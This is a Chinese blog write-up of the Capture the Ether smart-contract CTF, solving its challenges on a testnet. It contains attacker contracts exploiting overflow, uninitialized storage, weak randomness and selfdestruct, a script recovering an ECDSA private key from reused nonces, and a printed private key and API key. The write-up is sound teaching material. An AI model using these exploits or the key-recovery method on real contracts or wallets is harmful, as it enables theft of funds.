区块链篇-Capture the Ether

admin 2022年4月22日23:57:41安全文章评论28 views31531字阅读105分6秒阅读模式

是 cpature the ether 的刷题记录。这个靶场还会在题目介绍里给你推荐歌给你做题的时候听,真好哈哈哈。

区块链篇-Capture the Ether

image-20220308110255593

Warmup

The warmup challenges are intended to get you familiar with the way Capture the Ether works and the tools you need to use.

(是一些基础操作。

Deploy a contract

To complete this challenge, you need to:

  1. Install MetaMask.
  2. Switch to the Ropsten test network.
  3. Get some Ropsten ether. Clicking the “buy” button in MetaMask will take you to a faucet that gives out free test ether.

After you’ve done that, press the red button on the left to deploy the challenge contract.

You don’t need to do anything with the contract once it’s deployed. Just click the “Check Solution” button to verify that you deployed successfully.

pragma solidity ^0.4.21;

contract DeployChallenge {
// This tells the CaptureTheFlag contract that the challenge is complete.
function isComplete() public pure returns (bool) {
return true;
}
}

Enjoy this inspirational music while you work: Hello.

这儿的题目都是这样,当你确认完成题目之后,点个提交,会产生一笔交易,他会去调用一下题目合约的isComplete(),如果返回True,那么就算成功答题。(调用isComplete()本身是一个不需要费用的call,但是你是让靶场的合约去调用,所以需要支付一定的gas哈哈哈哈)

所以这道题目你需要下载安装metamask插件,然后这个靶场用的Ropsten测试链,去找个Ropsten水管往你账号上打点钱,那么准备工作就完成了。

你只需点击一下 Begin Challenge ,然后再点一下 Check Solution 就可以了。

Call me

To complete this challenge, all you need to do is call a function.

The “Begin Challenge” button will deploy the following contract:

pragma solidity ^0.4.21;

contract CallMeChallenge {
bool public isComplete = false;

function callme() public {
isComplete = true;
}
}

Call the function named callme and then click the “Check Solution” button.

Enjoy this inspirational music while you work: Call On Me.

部署题目后,可以拿到题目的地址,这里我用的在线 remix,

区块链篇-Capture the Ether

image-20220307095853182

输入合约后进行编译,然后就可以输入题目部署好的地址就可以进行交互,

区块链篇-Capture the Ether


点一下callme函数,(可以看到他是黄色的,说明这是一个交易,需要花gas的那种

然后也可以点一下isComlete确认一下,(可以看到他是蓝色的,所以这是一个不需要花gas的call,)然后就可以回去提交了。

Choose a nickname

It’s time to set your Capture the Ether nickname! This nickname is how you’ll show up on the leaderboard.

The CaptureTheEther smart contract keeps track of a nickname for every player. To complete this challenge, set your nickname to a non-empty string. The smart contract is running on the Ropsten test network at the address 0x71c46Ed333C35e4E6c62D32dc7C8F00D125b4fee.

Here’s the code for this challenge:

pragma solidity ^0.4.21;

// Relevant part of the CaptureTheEther contract.
contract CaptureTheEther {
mapping (address => bytes32) public nicknameOf;

function setNickname(bytes32 nickname) public {
nicknameOf[msg.sender] = nickname;
}
}

// Challenge contract. You don't need to do anything with this; it just verifies
// that you set a nickname for yourself.
contract NicknameChallenge {
CaptureTheEther cte = CaptureTheEther(msg.sender);
address player;

// Your address gets passed in as a constructor parameter.
function NicknameChallenge(address _player) public {
player = _player;
}

// Check that the first character is not null.
function isComplete() public view returns (bool) {
return cte.nicknameOf(player)[0] != 0;
}
}

Enjoy this inspirational music while you work: Say My Name.

这个合约就是让你确定你再排行榜上展示的用户名。部署题目后,部署的是下面这个合约,上面的CaptureTheEther合约是早就部署好的,在0x71c46Ed333C35e4E6c62D32dc7C8F00D125b4fee,你需要做的是调用 CaptureTheEther 的 setNickname 函数去设定你的用户名。提交后靶场会调用NicknameChallenge 的 isComplete(),去查看在CaptureTheEther合约中,你的账户名开头是不是0。(一个需要注意的小点是,setNickname 函数的输入参数类型是bytes32,然后bytes32在一个slot里的存储是向左对齐的,所以如果你的用户名不够长的话,需要右填充补0。)Lotteries

Lotteries

Feeling lucky? These challenges will show how hard it is to run a fair lottery.

接下来是六道猜数题。

Guess the number

I’m thinking of a number. All you have to do is guess it.

pragma solidity ^0.4.21;

contract GuessTheNumberChallenge {
uint8 answer = 42;

function GuessTheNumberChallenge() public payable {
require(msg.value == 1 ether);
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function guess(uint8 n) public payable {
require(msg.value == 1 ether);

if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}

Enjoy this inspirational music while you work: Guessing Games.

合约部署的自带一个 eth,然后调用guess函数的时候,要求支付一个 eth,如果猜的数 n 等于 answer,那么就会给你转 2 eth。然后这个answer直接就给你了,是42(刚看完蜜罐合约的我,竟然不是很敢试。。。)

不过题目而已,所以直接调用 guess(42) 就好了,value给到 1 eth

区块链篇-Capture the Ether

image-20220307111330137

Guess the secret number

Putting the answer in the code makes things a little too easy.

This time I’ve only stored the hash of the number. Good luck reversing a cryptographic hash!

pragma solidity ^0.4.21;

contract GuessTheSecretNumberChallenge {
bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;

function GuessTheSecretNumberChallenge() public payable {
require(msg.value == 1 ether);
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function guess(uint8 n) public payable {
require(msg.value == 1 ether);

if (keccak256(n) == answerHash) {
msg.sender.transfer(2 ether);
}
}
}

Enjoy this inspirational music while you work: Mr. Roboto.

这一次会将你猜的数进行hash之后和answerHash,但是注意道我们的数是 uint8,总共也只有256种可能,所以之前本地爆一下就可以了。

function test() public returns(uint8){
    for(uint8 i=0;i<=256;i++){
        if(keccak256(i) == answerHash){
            return i;
        }
    }


区块链篇-Capture the Ether

image-20220307130242119

Guess the random number

This time the number is generated based on a couple fairly random sources.

pragma solidity ^0.4.21;

contract GuessTheRandomNumberChallenge {
uint8 answer;

function GuessTheRandomNumberChallenge() public payable {
require(msg.value == 1 ether);
answer = uint8(keccak256(block.blockhash(block.number - 1), now));
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function guess(uint8 n) public payable {
require(msg.value == 1 ether);

if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}

Enjoy this inspirational music while you work: The Random Song.

这一次要猜的随机数是 answer = uint8(keccak256(block.blockhash(block.number - 1), now));

虽然answer变量的值看似随机,不过可以注意到的是,answer变量的取值是在构造函数里面的,那么它其实已经定死了,虽然answer不是public的,不能被直接调用,但是我们可以是直接去看这个合约的存储状态的(所谓去中心化,那一切不都得公开透明)。

区块链篇-Capture the Ether

image-20220307131949227

来到这个地址

区块链篇-Capture the Ether

image-20220307132039594

第一条交易就是合约的构造,点进去,看到state查看合约状态的变化情况

区块链篇-Capture the Ether

image-20220307132301380

可以看到在slot0处的值由0变成了0a,而slot0的低8位正是储存的我们的answer,所以这里的答案就是0xa

区块链篇-Capture the Ether

image-20220307132738907

Guess the new number

The number is now generated on-demand when a guess is made.

pragma solidity ^0.4.21;

contract GuessTheNewNumberChallenge {
function GuessTheNewNumberChallenge() public payable {
require(msg.value == 1 ether);
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function guess(uint8 n) public payable {
require(msg.value == 1 ether);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));

if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}

Enjoy this inspirational music while you work: I Guess It’s Christmas Time.

跟上一题差不多,不过这回answer的生成在你调用guess的时候。规则没变,但没法提前知道答案了。当然我们自己也没法在交易的时候瞬间口算是吧,所以需要部署攻击合约了。(这里提一个小点,这个now不是说交易的时间,交易里头是没有记录时间的,这个应该是整个区块的时间戳。)

contract pwn {
    function pwn() public payable {
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
        GuessTheNewNumberChallenge challenge = GuessTheNewNumberChallenge(0x........);
        challenge.guess.value(1 ether)(answer);
    }

    function () public payable {
    }
    
    function byebye(){
        selfdestruct(msg.sender);
    }
}

几个注意的点,攻击合约记得写一个payable 的 fallback函数,不然题目转不进来钱,攻击会失败。

攻击合约记得留一个取钱的函数,不然题目是完成了,钱留在攻击合约里取不出来(别问我为什么知道的)

如上的取钱方式不太安全其实,可以把自己的地址硬编码进去,或者加一个onlyowner的修饰器,不然谁都能去拿你攻击合约的钱了。(不过这是在测试链,也就无所谓了。)

Predict the future

This time, you have to lock in your guess before the random number is generated. To give you a sporting chance, there are only ten possible answers.

Note that it is indeed possible to solve this challenge without losing any ether.

pragma solidity ^0.4.21;

contract PredictTheFutureChallenge {
address guesser;
uint8 guess;
uint256 settlementBlockNumber;

function PredictTheFutureChallenge() public payable {
require(msg.value == 1 ether);
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function lockInGuess(uint8 n) public payable {
require(guesser == 0);
require(msg.value == 1 ether);

guesser = msg.sender;
guess = n;
settlementBlockNumber = block.number + 1;
}

function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);

uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;

guesser = 0;
if (guess == answer) {
msg.sender.transfer(2 ether);
}
}
}

Enjoy this inspirational music while you work: I Predict.

这一次的guess不太一样了, 需要你提前把答案锁进去,然后在你觉得合适的时候去settle()。

不过注意到这个answer虽然是uint8类型的,但是模10了所以只有十种可能。那就直接大力了。

随便选一个数存进去(根据概率分布,建议选5),然后就不停的调用settle就好了,一个块调一次。数学期望来看嘛大概十次就行了。

Predict the block hash

Guessing an 8-bit number is apparently too easy. This time, you need to predict the entire 256-bit block hash for a future block.

pragma solidity ^0.4.21;

contract PredictTheBlockHashChallenge {
address guesser;
bytes32 guess;
uint256 settlementBlockNumber;

function PredictTheBlockHashChallenge() public payable {
require(msg.value == 1 ether);
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function lockInGuess(bytes32 hash) public payable {
require(guesser == 0);
require(msg.value == 1 ether);

guesser = msg.sender;
guess = hash;
settlementBlockNumber = block.number + 1;
}

function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);

bytes32 answer = block.blockhash(settlementBlockNumber);

guesser = 0;
if (guess == answer) {
msg.sender.transfer(2 ether);
}
}
}

Enjoy this inspirational music while you work: Get Lucky.

这回没办法了,让你提前猜好256bit的值,完了,芭比Q了。

这里就需要用到一个函数特性了。block.blockhash只能查到近256个块的hash值,大于256个块的,返回0。

区块链篇-Capture the Ether

image-20220307135839208

所以我们提前把0给锁进去,然后,去吃个饭,玩会游戏。等一百个块过去了,再去取就好了。

Math

These challenges use a variety of techniques, but they all involve a bit of math.

Token sale

This token contract allows you to buy and sell tokens at an even exchange rate of 1 token per ether.

The contract starts off with a balance of 1 ether. See if you can take some of that away.

pragma solidity ^0.4.21;

contract TokenSaleChallenge {
mapping(address => uint256) public balanceOf;
uint256 constant PRICE_PER_TOKEN = 1 ether;

function TokenSaleChallenge(address _player) public payable {
require(msg.value == 1 ether);
}

function isComplete() public view returns (bool) {
return address(this).balance < 1 ether;
}

function buy(uint256 numTokens) public payable {
require(msg.value == numTokens * PRICE_PER_TOKEN);

balanceOf[msg.sender] += numTokens;
}

function sell(uint256 numTokens) public {
require(balanceOf[msg.sender] >= numTokens);

balanceOf[msg.sender] -= numTokens;
msg.sender.transfer(numTokens * PRICE_PER_TOKEN);
}
}

Enjoy this inspirational music while you work: Sale Sail.

这道题目搞了个类似numTokens的代币,可以买卖,和eth的兑换比例是1比1,然后合约内置 1 eth,你需要让合约的钱少于 1eth。那么显然是要搞点差价出来,一半能想到的就是溢出了,不是上溢,就是下溢。

注意到这里的静态变量PRICE_PER_TOKEN,虽然是 1,但是单位是 ether,所以实际上他是 10^18,那么这里就是上溢了。

区块链篇-Capture the Ether

image-20220307140523283

只需要给415992086870360064wei,大概是0.4个以太,就能获得115792089237316195423570985008687907853269984665640564039458个token。

(可惜是自己部署的题目合约,里面只有1个以太,不然,,,一比一,,直接起飞了。)

Token whale

This ERC20-compatible token is hard to acquire. There’s a fixed supply of 1,000 tokens, all of which are yours to start with.

Find a way to accumulate at least 1,000,000 tokens to solve this challenge.

pragma solidity ^0.4.21;

contract TokenWhaleChallenge {
address player;

uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;

string public name = "Simple ERC20 Token";
string public symbol = "SET";
uint8 public decimals = 18;

function TokenWhaleChallenge(address _player) public {
player = _player;
totalSupply = 1000;
balanceOf[player] = 1000;
}

function isComplete() public view returns (bool) {
return balanceOf[player] >= 1000000;
}

event Transfer(address indexed from, address indexed to, uint256 value);

function _transfer(address to, uint256 value) internal {
balanceOf[msg.sender] -= value;
balanceOf[to] += value;

emit Transfer(msg.sender, to, value);
}

function transfer(address to, uint256 value) public {
require(balanceOf[msg.sender] >= value);
require(balanceOf[to] + value >= balanceOf[to]);

_transfer(to, value);
}

event Approval(address indexed owner, address indexed spender, uint256 value);

function approve(address spender, uint256 value) public {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
}

function transferFrom(address from, address to, uint256 value) public {
require(balanceOf[from] >= value);
require(balanceOf[to] + value >= balanceOf[to]);
require(allowance[from][msg.sender] >= value);

allowance[from][msg.sender] -= value;
_transfer(to, value);
}
}

Enjoy this inspirational music while you work: Tough Decisions.

找个题目好长)初始有一千个代币,然后解题条件是不少于1,000,000个。

整个代码看下来,会发现 transferFrom 方法的底层是调用了 _transfer,而 _transfer 是直接扣的 msg.sender 的钱。这里的逻辑是比较奇怪的。一般来说transferFrom 是被授权一方花授权人的钱的,类似于你允许网易于app花你的钱自动续费会员。然后看到transferFrom检查的内容,仍然是from用户的存款是否大于要value,from用户给msg.sender用户的授权花费金额是否大于value,然后检查一下 to 用户的金额是否存在一个上溢的风险。所以对实际上被扣款的 msg.sender 的存款是没有检查的。_transfer这里也是直接用的 -=,所以这里是可以存在下溢。

攻击流程:

  1. 首先设自己的号为主号,就是题目合约设定的 player,然后我门再开一下小号。
  2. 此时我们把主号的1000个代币全部转给小号
  3. 用小号给主号approve 1000个代币的授权,approve(address 主号, 1000)
  4. 换回主号,调用transferFrom,用小号的代币(其实是主号的代币)给小号转1000个(或以下)的代币。
  5. 此时小号手里应该有1100个代币,而主号手里的代币应该是 2^256-1000,题目完成。

Retirement fund

This retirement fund is what economists call a commitment device. I’m trying to make sure I hold on to 1 ether for retirement.

I’ve committed 1 ether to the contract below, and I won’t withdraw it until 10 years have passed. If I do withdraw early, 10% of my ether goes to the beneficiary (you!).

I really don’t want you to have 0.1 of my ether, so I’m resolved to leave those funds alone until 10 years from now. Good luck!

pragma solidity ^0.4.21;

contract RetirementFundChallenge {
uint256 startBalance;
address owner = msg.sender;
address beneficiary;
uint256 expiration = now + 10 years;

function RetirementFundChallenge(address player) public payable {
require(msg.value == 1 ether);

beneficiary = player;
startBalance = msg.value;
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function withdraw() public {
require(msg.sender == owner);

if (now < expiration) {
// early withdrawal incurs a 10% penalty
msg.sender.transfer(address(this).balance * 9 / 10);
} else {
msg.sender.transfer(address(this).balance);
}
}

function collectPenalty() public {
require(msg.sender == beneficiary);

uint256 withdrawn = startBalance - address(this).balance;

// an early withdrawal occurred
require(withdrawn > 0);

// penalty is what's left
msg.sender.transfer(address(this).balance);
}
}

Enjoy this inspirational music while you work: Smooth Criminal.

这道题目初始内置了1个eth,然后你可以调用collectPenalty()取出eth。但是要求是 withdrawn 要大于 startBalance - address(this).balance; 也就是账户里需要少于1个eth。但是换个思路,这里的withdrawn是startBalance - address(this).balance;只要这个账户里的钱大于一个以太,就能产生下溢,从而也能大于0了。

不过这个合约并没有payable的函数。但是solidity有个特性,就是可以用selfdestruct函数,”自爆“来进行强行转账。

所以我们部署一个自爆合约,这个合约转一个wei,然后就能取出里面所有的钱了。

pragma solidity ^0.4.21;
contract pwn {
    function pwn() public payable {
        selfdestruct(0x....);
    }
}

Mapping

Who needs mappings? I’ve created a contract that can store key/value pairs using just an array.

pragma solidity ^0.4.21;

contract MappingChallenge {
bool public isComplete;
uint256[] map;

function set(uint256 key, uint256 value) public {
// Expand dynamic array as needed
if (map.length <= key) {
map.length = key + 1;
}

map[key] = value;
}

function get(uint256 key) public view returns (uint256) {
return map[key];
}
}

Enjoy this inspirational music while you work: Map To My Heart.

这道题目虽然有isComplete,但是没看到改变它状态的函数啊。

这道题的考点在于状态变量的储存结构,之前bank那道题有提到过的。这里有一个动态数组map,

区块链篇-Capture the Ether

image-20220307143331281

而且题目的set函数还悉心的帮你更改了map的长度,所以就可以任意地址写了。然后注意到isComplete变量是存在slot0的最右一个bit的,所以我们计算一下这个动态数组的起点应该是 keccak256(uint(1)),然后因为最大值是 2^256,直接溢出去到0就可以了。set( 2^256 - keccak256(uint(1)),1)

Donation

A candidate you don’t like is accepting campaign contributions via the smart contract below.

To complete this challenge, steal the candidate’s ether.

pragma solidity ^0.4.21;

contract DonationChallenge {
struct Donation {
uint256 timestamp;
uint256 etherAmount;
}
Donation[] public donations;

address public owner;

function DonationChallenge() public payable {
require(msg.value == 1 ether);
owner = msg.sender;
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function donate(uint256 etherAmount) public payable {
// amount is in ether, but msg.value is in wei
uint256 scale = 10**18 * 1 ether;
require(msg.value == etherAmount / scale);

Donation donation;
donation.timestamp = now;
donation.etherAmount = etherAmount;

donations.push(donation);
}

function withdraw() public {
require(msg.sender == owner);

msg.sender.transfer(address(this).balance);
}
}

Enjoy this inspirational music while you work: Space Force.

这道题也是Bank那道题的其中一个考点,注意到donate函数里面结构体的声明并没有初始化,也没有说明存储在那里,所以默认是在storage上,然后这个结构体有两个uint256参数,所以就会修改掉slot0 和slot1上的原有变量。

那么注意到这里的解题条件是获取合约里面所有的eth,然后只有withdraw函数能取钱,不过只有owner才行。所以我们需要成为owner。注意到owner应该是存在slot1里的,然后这个结构体我们可以利用donate控制的是etherAmount变量,刚好可以改掉owner,那么我们就把etherAmount的值给成我们自己账户的地址,再根据条件计算一下需要支付的费用就行了。最后withdraw一把梭,把所有的钱都转出来,题目完成。

Fifty years

This contract locks away ether. The initial ether is locked away until 50 years has passed, and subsequent contributions are locked until even later.

All you have to do to complete this challenge is wait 50 years and withdraw the ether. If you’re not that patient, you’ll need to combine several techniques to hack this contract.

pragma solidity ^0.4.21;

contract FiftyYearsChallenge {
struct Contribution {
uint256 amount;
uint256 unlockTimestamp;
}
Contribution[] queue;
uint256 head;

address owner;
function FiftyYearsChallenge(address player) public payable {
require(msg.value == 1 ether);

owner = player;
queue.push(Contribution(msg.value, now + 50 years));
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function upsert(uint256 index, uint256 timestamp) public payable {
require(msg.sender == owner);

if (index >= head && index < queue.length) {
// Update existing contribution amount without updating timestamp.
Contribution storage contribution = queue[index];
contribution.amount += msg.value;
} else {
// Append a new contribution. Require that each contribution unlock
// at least 1 day after the previous one.
require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days);

contribution.amount = msg.value;
contribution.unlockTimestamp = timestamp;
queue.push(contribution);
}
}

function withdraw(uint256 index) public {
require(msg.sender == owner);
require(now >= queue[index].unlockTimestamp);

// Withdraw this and any earlier contributions.
uint256 total = 0;
for (uint256 i = head; i <= index; i++) {
total += queue[i].amount;

// Reclaim storage.
delete queue[i];
}

// Move the head of the queue forward so we don't have to loop over
// already-withdrawn contributions.
head = index + 1;

msg.sender.transfer(total);
}
}

Enjoy this inspirational music while you work: 100 Years. I guess just listen to half of it.

价值2000point的最后一道题,想起来确实比较麻烦。首先和上面一行还是有一个未初始化的洞,【这里是比较奇怪的,在upsert的else分支里面,甚至都没有声明contribution变量,但是却可以用,可能是solidity的一个特性吧,因为我把if分支里面的声明去掉之后,else分支里的才报变量未声明的错误】

结构体有两个变量,然后前两个slot存的是queue数组的长度和head。

题目完成的条件还是获取合约里面所有的钱,取钱函数只有withdraw,需要owner(没事,我们本来就是了),还有一个限制就是当前时间得大于queue数组里面最后一个结构体里标记的时间。而在合约部署的时候里面就在queue里放了第一个结构体,amount是1 eth,解锁时间是50年后,然后你每加一个快,新块的解锁时间至少要比最后一个块解锁时间长一天。

来看一下这个upsert的函数,当你想加一个块的时候,首先你的index得是大于1的,不然就是改原来的块了。然后第一个参数是value,value同时是会改变数组的length的,然后是timestamp。然后再push这个结构体入数组的时候,会有几个操作。首先他会过去当前数组的length值oldlength,然后给newlength = oldlength + 1,(测试出来的,底层估计得去看看黄皮书啥的?),然后再存到相应的slot上(具体这里应该是 slot_(keccak256(uint(0)) + oldlength)。所以注意道,如果你value给0wei,那么oldlength就是0,就会把你queue里头那个有 1 eth 的结构体给抹掉了。(这可不行!)并且此时head的值也会是你的timestamp,那么在withdraw的时候也会出点问题(因为是从head 取到index),,啊啊啊啊,好烦。

注意到这里对新解锁日期的要求是大于最后一个块的解锁日期的一天,用的是 + 1 days,其实也就是 + 24 * 3600,那么这里可以存在上溢啊。我们新加一个块,日期是 2^256 - 24 * 3600,然后再加下一个块的日期就可以是 0 了,并且head也能是0,取款的时候也能取到那个 1 eth了。

那value怎么传呢,传0 wei就会把第一个覆盖掉了,所以传 1 wei,就会push到后面一个块了。然后传 2 wei,就能再往后面push一个块。那么三个块分别是

----------       ---------------------         ---------
|1 eth   |       | 2 wei             |         | 3 wei |
|now     |   - > | 2^256 - 24 * 3600 |   - >   | 0     |
----------       ---------------------         ---------

然后withdraw,index给到 2,因为index = 2 的块的解锁时间是 0 ,题目就会把从 head:0 到 index: 2里所有的钱都拿出来了。但是一个问题就是,这里一共是 1eth 5 wei,但合约里应该只有 1 eth 3 wei。差了两wei(为啥给 1 wei 会变成 2 wei,给 2 wei 会变成 3 wei,因为是push这个操作给加了1)

那么,一个想法是再用上面的自爆合约,给这个合约转个 2 wei就够了。

或者,加第二次块的时候,还是传 1 wei,此时新的块会直接把第二个块给代替掉

----------       ---------
|1 eth   |       | 2 wei |
|now     |   - > | 0     |
----------        ---------

合约里刚好也只有 1 eth 2 wei,就能成功全部转出来了。

Accounts

These challenges test your understanding of Ethereum accounts.

Fuzzy identity

This contract can only be used by me (smarx). I don’t trust myself to remember my private key, so I’ve made it so whatever address I’m using in the future will work:

  1. I always use a wallet contract that returns “smarx” if you ask its name.
  2. Everything I write has bad code in it, so my address always includes the hex string badc0de.

To complete this challenge, steal my identity!

pragma solidity ^0.4.21;

interface IName {
function name() external view returns (bytes32);
}

contract FuzzyIdentityChallenge {
bool public isComplete;

function authenticate() public {
require(isSmarx(msg.sender));
require(isBadCode(msg.sender));

isComplete = true;
}

function isSmarx(address addr) internal view returns (bool) {
return IName(addr).name() == bytes32("smarx");
}

function isBadCode(address _addr) internal pure returns (bool) {
bytes20 addr = bytes20(_addr);
bytes20 id = hex"000000000000000000000000000000000badc0de";
bytes20 mask = hex"000000000000000000000000000000000fffffff";

for (uint256 i = 0; i < 34; i++) {
if (addr & mask == id) {
return true;
}
mask <<= 4;
id <<= 4;
}

return false;
}
}

Enjoy this inspirational music while you work: Research Me Obsessively.

这道题要求一个合约地址包含一个name函数,会返回bytes32("smarx"),然后该合约的地址要包含”badc0de“。主要是后面这个要求比较麻烦。

用的pizza师傅博客里的jio本

# sudo apt-get install libssl-dev build-essential automake pkg-config libtool libffi-dev libgmp-dev
# python3 -m pip install ethereum -i https://pypi.tuna.tsinghua.edu.cn/simple

from ethereum import utils
import os, sys

# generate EOA with the ability to deploy contract with appendix 1b1b
def generate_eoa2():
    priv = utils.sha3(os.urandom(4096))
    addr = utils.checksum_encode(utils.privtoaddr(priv))

    while "badc0de" not in utils.decode_addr(utils.mk_contract_address(addr, 0)):
        priv = utils.sha3(os.urandom(4096))
        addr = utils.checksum_encode(utils.privtoaddr(priv))


    print('Address: {}nPrivate Key: {}'.format(addr, priv.hex()))



generate_eoa2()

>>> print('Address: {}nPrivate Key: {}'.format(addr, priv.hex()))
Address: 0x92Ae9Fb8D0556d3f723791a3217B3704EC69910b
Private Key: d8c99a88d0a42098ebde25a873bf86340f1fd794a8f4ded1779d7c3728c57372

(爆这个全靠人品了,我同时跑了四个,这一个爆出来后一个小时另外三个还没反应。。。

然后用这个账户部署攻击合约

contract pwn{
    function pwn1() public{
        FuzzyIdentityChallenge fuzzy = FuzzyIdentityChallenge(0xCF0847ec71F66D22E18c62EFDA6A739eef7DA7a8);
        fuzzy.authenticate();
    }
    function name() public returns(bytes32){
        return bytes32("smarx");
    }
}

Public Key

Recall that an address is the last 20 bytes of the keccak-256 hash of the address’s public key.

To complete this challenge, find the public key for the owner's account.

pragma solidity ^0.4.21;

contract PublicKeyChallenge {
address owner = 0x92b28647ae1f3264661f72fb2eb9625a89d88a31;
bool public isComplete;

function authenticate(bytes publicKey) public {
require(address(keccak256(publicKey)) == owner);

isComplete = true;
}
}

Enjoy this inspirational music while you work: Public Key Infrastructure.

这个就是计算一下这个地址的公钥。

地址是由公钥hash来的,那肯定是不能反推回去的,我们看看这个账户上的交易,因为交易信息肯定是有用公钥签名的。从交易信息恢复私钥是不行,恢复个公钥应该还是可以的。

区块链篇-Capture the Ether

image-20220307193059699.png

刚好有一个out的交易,去getTransaction一下:await web3.eth.getTransaction("0xabc467bedd1d17462fcc7942d0af7874d6f8bdefee2b299c9168a216d3ff0edb")

blockHash: "0x487183cd9eed0970dab843c9ebd577e6af3e1eb7c9809d240c8735eab7cb43de"
blockNumber: 3015083
from: "0x92b28647Ae1F3264661f72fb2eB9625A89D88A31"
gas: 90000
gasPrice: "1000000000"
hash"0xabc467bedd1d17462fcc7942d0af7874d6f8bdefee2b299c9168a216d3ff0edb"
input: "0x5468616e6b732c206d616e21"
nonce: 0
r: "0xa5522718c0f95dde27f0827f55de836342ceda594d20458523dd71a539d52ad7"
s: "0x5710e64311d481764b5ae8ca691b05d14054782c7d489f3511a7abf2f5078962"
to: "0x6B477781b0e68031109f21887e6B5afEAaEB002b"
transactionIndex: 7
type: 0
v: "0x29"
value: "0"

然后用js现成的库去恢复

const EthereumTx = require('ethereumjs-tx').Transaction;
const util = require('ethereumjs-util');

var rawTx = {
  nonce: '0x00',
  gasPrice: '0x3b9aca00',
  gasLimit: '0x15f90',
  to: '0x6B477781b0e68031109f21887e6B5afEAaEB002b',
  value: '0x00',
  data: '0x5468616e6b732c206d616e21',
  v: '0x29',
  r: '0xa5522718c0f95dde27f0827f55de836342ceda594d20458523dd71a539d52ad7',
  s: '0x5710e64311d481764b5ae8ca691b05d14054782c7d489f3511a7abf2f5078962'
};

var tx = new EthereumTx(rawTx,{ chain: 'ropsten'});

pubkey=tx.getSenderPublicKey();
pubkeys=pubkey.toString('hex');
var address = util.keccak256(pubkey).toString('hex').slice(24);

console.log(pubkeys);
console.log(address);

得到公钥613a8d23bd34f7e568ef4eb1f68058e77620e40079e88f705dfb258d7a06a1a0364dbe56cab53faf26137bec044efd0b07eec8703ba4a31c588d9d94c35c8db4

Account Takeover

To complete this challenge, send a transaction from the owner's account.

pragma solidity ^0.4.21;

contract AccountTakeoverChallenge {
address owner = 0x6B477781b0e68031109f21887e6B5afEAaEB002b;
bool public isComplete;

function authenticate() public {
require(msg.sender == owner);

isComplete = true;
}
}

Enjoy this inspirational music while you work: Pinky and The Brain Intro.

代码量越来越少了属于是,要求你获取0x6B477781b0e68031109f21887e6B5afEAaEB002b的私钥了就。

肯定还是要从他发出的交易入手了。

注意到这个账户发出的交易太多了,etherscan直接查的话最前面的交易就查不到了。所以这里用了一下api

https://api-ropsten.etherscan.io/api?module=account&action=txlist&address=0x6B477781b0e68031109f21887e6B5afEAaEB002b&startblock=0&endblock=99999999&page=1&offset=10&sort=asc&apikey=NBV1N4K1Z1JIIN766SEZ78P619FK43ZA74

注意到这个账号的第一个和第二个交易

区块链篇-Capture the Ether

[email protected]`_DZV2_U_7B4.png

去getTransaction会发现

区块链篇-Capture the Ether

123

这两个交易的签名用了同一个r,签名算法采用的是ECDSA,所以这里是临时密钥的复用,而临时密钥的复用是回导致私钥被计算出来的。这里我们首先用生成消息的hash,

const EthereumTx = require('ethereumjs-tx').Transaction;
var rawTx1 =
    { nonce: 0,
     gasPrice: '0x3b9aca00',
     gasLimit: '0x5208',
     to: '0x92b28647ae1f3264661f72fb2eb9625a89d88a31',
     value: '0x1111d67bb1bb0000',
     data: '0x',
     v: 41,
     r: '0x69a726edfb4b802cbf267d5fd1dabcea39d3d7b4bf62b9eeaeba387606167166',
     s: '0x7724cedeb923f374bef4e05c97426a918123cc4fec7b07903839f12517e1b3c8'
}
var rawTx2 =
    { nonce: 1,
     gasPrice: '0x3b9aca00',
     gasLimit: '0x5208',
     to: '0x92b28647ae1f3264661f72fb2eb9625a89d88a31',
     value: '0x1922e95bca330e00',
     data: '0x',
     v: 41,
     r: '0x69a726edfb4b802cbf267d5fd1dabcea39d3d7b4bf62b9eeaeba387606167166',
     s: '0x2bbd9c2a6285c2b43e728b17bda36a81653dd5f4612a2e0aefdb48043c5108de'
}
tx1 = new EthereumTx(rawTx1,{ chain: 'ropsten'});

tx2 = new EthereumTx(rawTx2,{ chain: 'ropsten'});

z1=tx1.hash(false).toString("hex");
z2=tx2.hash(false).toString("hex");
console.log(z1);
console.log(z2);

然后根据算法进行一个私钥的计算

from Crypto.Util.number import *


def derivate_privkey(p, r, s1, s2, z1, z2):
    z = z1 - z2
    s = s1 - s2
    r_inv = inverse(r, p)
    s_inv = inverse(s, p)
    k = (z * s_inv) % p
    d = (r_inv * (s1 * k - z1)) % p
    return d, k

z1 = 0x4f6a8370a435a27724bbc163419042d71b6dcbeb61c060cc6816cda93f57860c
s1 = 0x2bbd9c2a6285c2b43e728b17bda36a81653dd5f4612a2e0aefdb48043c5108de
r = 0x69a726edfb4b802cbf267d5fd1dabcea39d3d7b4bf62b9eeaeba387606167166
z2 = 0x350f3ee8007d817fbd7349c477507f923c4682b3e69bd1df5fbb93b39beb1e04
s2 = 0x7724cedeb923f374bef4e05c97426a918123cc4fec7b07903839f12517e1b3c8

p  = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 

print("privatekey:%xn k:%x" % derivate_privkey(p,r,s1,s2,z1,z2))

